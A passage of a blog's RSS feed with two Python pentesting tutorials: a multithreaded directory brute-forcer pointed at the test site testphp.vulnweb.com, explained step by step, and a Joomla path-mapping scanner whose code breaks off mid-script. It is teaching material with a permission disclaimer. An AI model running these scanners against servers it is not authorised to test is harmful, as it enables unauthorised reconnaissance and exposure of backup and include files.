		<link>https://awjunaid.com/networking/brute-forcing-directories-and-file-location-using-socket-library/</link>
					<comments>https://awjunaid.com/networking/brute-forcing-directories-and-file-location-using-socket-library/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 23:07:13 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8939</guid>

					<description><![CDATA[<p>Brute-forcing is a hacking technique where an attacker systematically attempts all possible combinations of passwords or encryption keys&#8230;</p>
<p>The post <a href="https://awjunaid.com/networking/brute-forcing-directories-and-file-location-using-socket-library/">Brute-Forcing Directories and File Location Using Socket Library</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Brute-forcing is a hacking technique where an attacker systematically attempts all possible combinations of passwords or encryption keys until the correct one is found. It is a common method used in password cracking, encryption key breaking, and gaining unauthorized access to systems.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import queue
import threading
import urllib.error
import urllib.parse
import urllib.request

threads = 50
target_url = &quot;http://testphp.vulnweb.com&quot;
wordlist_file = &quot;all.txt&quot;  # from SVNDigger
resume = None
user_agent = &quot;Mozilla/5.0 (X11; Linux x86_64; rv:19.0) &quot; \
             &quot;Gecko/20100101 &quot; \
             &quot;Firefox/19.0&quot;


def build_wordlist(wordlst_file):
    # read in the word list
    fd = open(wordlst_file, &quot;r&quot;)
    raw_words = [line.rstrip('\n') for line in fd]
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        if resume:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print(&quot;Resuming wordlist from: %s&quot; % resume)
        else:
            words.put(word)
    return words


def dir_bruter(extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get()
        attempt_list = []

        # check if there is a file extension if not
        # it's a directory path we're bruting
        if &quot;.&quot; not in attempt:
            attempt_list.append(&quot;/%s/&quot; % attempt)
        else:
            attempt_list.append(&quot;/%s&quot; % attempt)

        # if we want to bruteforce extensions
        if extensions:
            for extension in extensions:
                attempt_list.append(&quot;/%s%s&quot; % (attempt, extension))

        # iterate over our list of attempts        
        for brute in attempt_list:
            url = &quot;%s%s&quot; % (target_url, urllib.parse.quote(brute))
            try:
                headers = {&quot;User-Agent&quot;: user_agent}
                r = urllib.request.Request(url, headers=headers)
                response = urllib.request.urlopen(r)
                if len(response.read()):
                    print(&quot;[%d] =&gt; %s&quot; % (response.code, url))
            except urllib.error.HTTPError as e:
                if e.code != 404:
                    print(&quot;!!! %d =&gt; %s&quot; % (e.code, url))
                pass


word_queue = build_wordlist(wordlist_file)
file_extensions = [&quot;.php&quot;, &quot;.bak&quot;, &quot;.orig&quot;, &quot;.inc&quot;]

for i in range(threads):
    t = threading.Thread(target=dir_bruter, args=(file_extensions,))
    t.start()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> queue</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.error</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.parse</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.request</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">threads </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">50</span></span>
<span class="line"><span style="color: #F8F8F2">target_url </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;http://testphp.vulnweb.com&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">wordlist_file </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;all.txt&quot;</span><span style="color: #F8F8F2">  </span><span style="color: #88846F"># from SVNDigger</span></span>
<span class="line"><span style="color: #F8F8F2">resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">user_agent </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;Mozilla/5.0 (X11; Linux x86_64; rv:19.0) &quot;</span><span style="color: #F8F8F2"> \</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #E6DB74">&quot;Gecko/20100101 &quot;</span><span style="color: #F8F8F2"> \</span></span>
<span class="line"><span style="color: #F8F8F2">             </span><span style="color: #E6DB74">&quot;Firefox/19.0&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">build_wordlist</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">wordlst_file</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># read in the word list</span></span>
<span class="line"><span style="color: #F8F8F2">    fd </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">open</span><span style="color: #F8F8F2">(wordlst_file, </span><span style="color: #E6DB74">&quot;r&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    raw_words </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [line.rstrip(</span><span style="color: #E6DB74">&#39;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&#39;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> line </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> fd]</span></span>
<span class="line"><span style="color: #F8F8F2">    fd.close()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    found_resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">    words </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> queue.Queue()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> word </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> raw_words:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> resume:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> found_resume:</span></span>
<span class="line"><span style="color: #F8F8F2">                words.put(word)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> word </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> resume:</span></span>
<span class="line"><span style="color: #F8F8F2">                    found_resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Resuming wordlist from: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> resume)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            words.put(word)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> words</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">dir_bruter</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">extensions</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> word_queue.empty():</span></span>
<span class="line"><span style="color: #F8F8F2">        attempt </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> word_queue.get()</span></span>
<span class="line"><span style="color: #F8F8F2">        attempt_list </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> []</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># check if there is a file extension if not</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># it&#39;s a directory path we&#39;re bruting</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;.&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> attempt:</span></span>
<span class="line"><span style="color: #F8F8F2">            attempt_list.append(</span><span style="color: #E6DB74">&quot;/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">/&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> attempt)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            attempt_list.append(</span><span style="color: #E6DB74">&quot;/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> attempt)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if we want to bruteforce extensions</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> extensions:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> extension </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> extensions:</span></span>
<span class="line"><span style="color: #F8F8F2">                attempt_list.append(</span><span style="color: #E6DB74">&quot;/</span><span style="color: #AE81FF">%s%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (attempt, extension))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># iterate over our list of attempts        </span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> brute </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> attempt_list:</span></span>
<span class="line"><span style="color: #F8F8F2">            url </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (target_url, urllib.parse.quote(brute))</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                headers </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> {</span><span style="color: #E6DB74">&quot;User-Agent&quot;</span><span style="color: #F8F8F2">: user_agent}</span></span>
<span class="line"><span style="color: #F8F8F2">                r </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.request.Request(url, </span><span style="color: #FD971F; font-style: italic">headers</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">headers)</span></span>
<span class="line"><span style="color: #F8F8F2">                response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.request.urlopen(r)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(response.read()):</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">] =&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (response.code, url))</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> urllib.error.HTTPError </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> e.code </span><span style="color: #F92672">!=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">404</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;!!! </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> =&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (e.code, url))</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">pass</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">word_queue </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> build_wordlist(wordlist_file)</span></span>
<span class="line"><span style="color: #F8F8F2">file_extensions </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span><span style="color: #E6DB74">&quot;.php&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;.bak&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;.orig&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;.inc&quot;</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">for</span><span style="color: #F8F8F2"> i </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">range</span><span style="color: #F8F8F2">(threads):</span></span>
<span class="line"><span style="color: #F8F8F2">    t </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">dir_bruter, </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(file_extensions,))</span></span>
<span class="line"><span style="color: #F8F8F2">    t.start()</span></span></code></pre></div>



<div class="wp-block-file"><a id="wp-block-file--media-0f26ca64-8691-4578-8e26-10fca6528191" href="https://awjunaid.com/wp-content/uploads/2023/12/all.txt">all.txt</a><a href="https://awjunaid.com/wp-content/uploads/2023/12/all.txt" class="wp-block-file__button wp-element-button" download aria-describedby="wp-block-file--media-0f26ca64-8691-4578-8e26-10fca6528191">Download</a></div>



<div class="wp-block-jetpack-markdown"><p>A simple web directory brute-forcing tool that uses multiple threads to discover hidden paths on a web server. The script takes a list of potential directory and file names from a wordlist and appends them to the target URL, attempting to access each path. The goal is to find valid paths that might be vulnerable to unauthorized access or information disclosure.</p>
<h2>Explanation:</h2>
<ol>
<li>
<p><strong>Import Modules:</strong></p>
<pre><code class="language-python">import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
</code></pre>
<ul>
<li>Importing necessary modules for handling threading and HTTP requests.</li>
</ul>
</li>
<li>
<p><strong>Configuration:</strong></p>
<pre><code class="language-python">threads = 50
target_url = &quot;http://testphp.vulnweb.com&quot;
wordlist_file = &quot;all.txt&quot;  # from SVNDigger
resume = None
user_agent = &quot;Mozilla/5.0 (X11; Linux x86_64; rv:19.0) &quot; \
             &quot;Gecko/20100101 &quot; \
             &quot;Firefox/19.0&quot;
</code></pre>
<ul>
<li><code>threads</code>: Number of threads to use for parallel processing.</li>
<li><code>target_url</code>: The base URL to perform directory brute-forcing.</li>
<li><code>wordlist_file</code>: File containing a list of potential directory and file names.</li>
<li><code>resume</code>: A specific word from which to resume the wordlist processing (optional).</li>
<li><code>user_agent</code>: User-Agent header for HTTP requests.</li>
</ul>
</li>
<li>
<p><strong>Build Wordlist Function:</strong></p>
<pre><code class="language-python">def build_wordlist(wordlst_file):
    # Function to read the wordlist and create a queue of words
    ...
</code></pre>
<ul>
<li>Reads the wordlist file and creates a queue of words for brute-forcing.</li>
</ul>
</li>
<li>
<p><strong>Directory Bruter Function:</strong></p>
<pre><code class="language-python">def dir_bruter(extensions=None):
    # Function to perform directory brute-forcing
    ...
</code></pre>
<ul>
<li>Performs the actual directory brute-forcing by iterating over the wordlist queue and trying various path combinations.</li>
</ul>
</li>
<li>
<p><strong>Main Execution:</strong></p>
<pre><code class="language-python">word_queue = build_wordlist(wordlist_file)
file_extensions = [&quot;.php&quot;, &quot;.bak&quot;, &quot;.orig&quot;, &quot;.inc&quot;]

for i in range(threads):
    t = threading.Thread(target=dir_bruter, args=(file_extensions,))
    t.start()
</code></pre>
<ul>
<li>Creates a wordlist queue using the <code>build_wordlist</code> function.</li>
<li>Defines a list of file extensions to append to directory names.</li>
<li>Spawns a specified number of threads, each executing the <code>dir_bruter</code> function.</li>
</ul>
</li>
<li>
<p><strong>Handling HTTP Requests:</strong></p>
<pre><code class="language-python">url = &quot;%s%s&quot; % (target_url, urllib.parse.quote(brute))
try:
    headers = {&quot;User-Agent&quot;: user_agent}
    r = urllib.request.Request(url, headers=headers)
    response = urllib.request.urlopen(r)
    if len(response.read()):
        print(&quot;[%d] =&gt; %s&quot; % (response.code, url))
except urllib.error.HTTPError as e:
    if e.code != 404:
        print(&quot;!!! %d =&gt; %s&quot; % (e.code, url))
    pass
</code></pre>
<ul>
<li>Constructs the full URL by appending the brute-forced path to the target URL.</li>
<li>Sends an HTTP request to the constructed URL with a specified User-Agent.</li>
<li>Prints the result, indicating whether the path is valid or not.</li>
</ul>
</li>
</ol>
<p><strong>This script is intended for educational purposes and should only be used in environments where you have explicit permission to perform such tests. Unauthorized or malicious use of this script is illegal and unethical.</strong></p>
</div>
<p>The post <a href="https://awjunaid.com/networking/brute-forcing-directories-and-file-location-using-socket-library/">Brute-Forcing Directories and File Location Using Socket Library</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/brute-forcing-directories-and-file-location-using-socket-library/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8939</post-id>	</item>
		<item>
		<title>Mapping Open Source web application installations</title>
		<link>https://awjunaid.com/networking/mapping-open-source-web-application-installations/</link>
					<comments>https://awjunaid.com/networking/mapping-open-source-web-application-installations/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 22:58:36 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8936</guid>

					<description><![CDATA[<p>The post <a href="https://awjunaid.com/networking/mapping-open-source-web-application-installations/">Mapping Open Source web application installations</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-jetpack-markdown"><p>Mapping open-source web application installations involves identifying and documenting the presence of specific web applications on a network or set of domains. This can be useful for various purposes, including security assessments, inventory management, and compliance checks. Below is a high-level overview of the process and considerations for mapping open-source web application installations:</p>
<ol>
<li>
<p><strong>Discovery:</strong></p>
<ul>
<li><strong>Network Scanning:</strong> Use network scanning tools (such as Nmap) to identify live hosts on the network.</li>
<li><strong>Domain Enumeration:</strong> Enumerate domain names associated with the organization using tools like DNS enumeration or public information sources.</li>
</ul>
</li>
<li>
<p><strong>Web Application Fingerprinting:</strong></p>
<ul>
<li><strong>Automated Tools:</strong> Utilize web application fingerprinting tools to identify the web technologies and versions running on discovered hosts. Tools like Wappalyzer or WhatWeb can provide insights into the technologies used by web applications.</li>
<li><strong>Passive Reconnaissance:</strong> Analyze HTTP response headers, error pages, and other observable characteristics to identify web server types, frameworks, or specific applications.</li>
</ul>
</li>
<li>
<p><strong>Web Application Scanning:</strong></p>
<ul>
<li><strong>Automated Scanners:</strong> Employ web application scanners (such as OWASP ZAP, Burp Suite, or Nikto) to perform comprehensive scans for vulnerabilities and to identify specific applications.</li>
<li><strong>Crawling and Analysis:</strong> Use tools that can crawl websites and analyze the content to identify specific web applications. This may involve analyzing JavaScript files, HTML, and other resources.</li>
</ul>
</li>
<li>
<p><strong>Public Information Sources:</strong></p>
<ul>
<li><strong>Public Code Repositories:</strong> Search public code repositories (e.g., GitHub, GitLab) for open-source web application installations associated with the organization.</li>
<li><strong>Public Search Engines:</strong> Use search engines to find publicly accessible instances of web applications or to identify public-facing domains.</li>
</ul>
</li>
<li>
<p><strong>Reviewing DNS Records:</strong></p>
<ul>
<li><strong>Subdomain Enumeration:</strong> Enumerate subdomains associated with the organization to identify potential web applications. Tools like Sublist3r or Amass can assist in subdomain enumeration.</li>
<li><strong>TXT Records:</strong> Review DNS TXT records for indications of web application technologies or configurations.</li>
</ul>
</li>
<li>
<p><strong>Authentication Banners:</strong></p>
<ul>
<li><strong>Login Pages:</strong> Check for login pages or authentication banners that may reveal the presence of specific web applications.</li>
</ul>
</li>
<li>
<p><strong>Custom Scripts and Automation:</strong></p>
<ul>
<li><strong>Custom Scripts:</strong> Develop custom scripts or automation tailored to the organization’s environment to identify specific web applications based on known patterns, URLs, or response headers.</li>
<li><strong>APIs and Integrations:</strong> Integrate with APIs provided by web application databases or services that catalog known installations of open-source applications.</li>
</ul>
</li>
<li>
<p><strong>Documentation and Inventory:</strong></p>
<ul>
<li><strong>Maintain Records:</strong> Document the identified web applications, their versions, and relevant details in an inventory or documentation system.</li>
<li><strong>Update and Review:</strong> Regularly update and review the inventory to reflect changes in the web application landscape.</li>
</ul>
</li>
</ol>
<p>Remember, ethical considerations and legal compliance are crucial when conducting any form of reconnaissance or scanning. Always ensure you have the appropriate authorization and permissions before scanning or interacting with systems. Additionally, respect the privacy and security of the systems you are investigating.</p>
</div>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import os
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request

threads = 10
target = &quot;http://www.test.com&quot;
directory = &quot;/Users/snowden/Downloads/joomla-3.1.1&quot;
filters = [&quot;.jpg&quot;, &quot;.gif&quot;, &quot;png&quot;, &quot;.css&quot;]

os.chdir(directory)
web_paths = queue.Queue()

for r, d, f in os.walk(&quot;.&quot;):
    for files in f:
        remote_path = &quot;%s/%s&quot; % (r, files)
        if remote_path.startswith(&quot;.&quot;):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)


def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = &quot;%s%s&quot; % (target, path)
        request = urllib.request.Request(url)
        try:
            response = urllib.request.urlopen(request)
            print(&quot;[%d] =&gt; %s&quot; % (response.code, path))
            response.close()
        except urllib.error.HTTPError as error:
            print(&quot;Failed %s&quot; % error.code)
            pass


for i in range(threads):
    print(&quot;Spawning thread: %d&quot; % i)
    t = threading.Thread(target=test_remote)
    t.start()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> queue</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.error</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.parse</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.request</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">threads </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2">target </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;http://www.test.com&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">directory </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;/Users/snowden/Downloads/joomla-3.1.1&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">filters </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span><span style="color: #E6DB74">&quot;.jpg&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;.gif&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;png&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;.css&quot;</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">os.chdir(directory)</span></span>
<span class="line"><span style="color: #F8F8F2">web_paths </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> queue.Queue()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">for</span><span style="color: #F8F8F2"> r, d, f </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> os.walk(</span><span style="color: #E6DB74">&quot;.&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> files </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> f:</span></span>
<span class="line"><span style="color: #F8F8F2">        remote_path </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (r, files)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> remote_path.startswith(</span><span style="color: #E6DB74">&quot;.&quot;</span><span style="color: #F8F8F2">):</span></span>
